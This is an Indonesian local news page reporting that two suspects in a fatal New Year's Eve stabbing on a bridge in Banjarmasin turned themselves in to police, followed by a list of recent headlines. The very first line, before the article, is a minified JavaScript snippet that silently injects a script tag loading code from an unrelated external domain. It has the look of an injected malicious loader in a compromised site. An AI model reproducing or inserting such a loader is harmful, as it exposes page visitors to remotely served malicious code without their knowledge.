(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Susul MI, Tersangka MA Pelaku Penusukan Malam Tahun Baru Datangi Polsek Diantar Keluarga


KANALKALIMANTAN.COM, BANJARMASIN– Tak berlangsung lama setelah tersangka MI (16) menyerahkan diri, satu pelaku lain berinisial MA (20), terduga pelaku penganiayaan dan penusukan yang menyebabkan Erwin (24) meninggal dunia di malam pergantian tahun, akhirnya juga mendatangi Polsek Banjarmasin Selatan.

Sebagaimana diketahui, mereka terlibat kasus penusukan di Jembatan Teluk Kubur Kelayan Banjarmasin Selatan, Jumat (31/12/2021).

Kedatangan pelaku ke Mapolsek ini dibenarkan Kapolsek Banjarmasin Selatan Kompol Yovie Andri Haryono. Kepada kanalkalimantan.com, Kompol Yovie menyampaikan pelaku yang terlebih dahulu menyerahkan diri yakni MI dengan di dampingi pihak keluarga pada (1/1/2022) pukul 09.00 Wita.

Kemudian disusul oleh MA yang juga didampingi oleh pihak keluarga pelaku.
“Untuk saat ini para pelaku MI dan MA keduanya telah diamankan oleh pihak kepolisian Polsek Banjarmasin Selatan untuk menjalani proses pemeriksaan lebih lanjut,” ucap Kompol Yovie Andri Haryono.

 

Baca juga : Kronologis Perkelahian Maut di Jembatan Gerilya Banjarmasin Tewaskan Pemuda 24 Tahun

Kronologi kejadian pada malam pergantian tahun tersebut di tengarai adanya perilaku pelecehan seksual yang dialami oleh RA (17) tahun yang merupakan saudara dari korban Erwin. Saat kendaraan roda dua milik RA mogok dan didorong, pelaku MA dengan sengaja memegang bagian belakang tubuh RA.

Tidak terima dengan kejadian tersebut RA menghubungi saudaranya yakni Erwin. Setibanya di lokasi Erwin langsung menegur dan mengejar pelaku MA sehingga terjadilah perkelahian dan penganiayaan yang menyebabkan Erwin tewas bersimbah darah akibat luka tusukan.

Hingga berita ini diturunkan para pelaku masih diamankan oleh pihak kepolisian, dan para pelaku terancam dengan hukuman pidana pembunuhan dan pengeroyokan menyebabkan matinya orang sebagaimana dimaksud pasal 338 jo 170 Ayat ( 3 ) KUH Pidana. (kanalkalimantan.com /Seno)

Reporter : seno
Editor : cell


Desy Arfianty

Recent Posts

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

3 menit ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

3 jam ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

5 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

5 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

7 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

7 jam ago

This website uses cookies.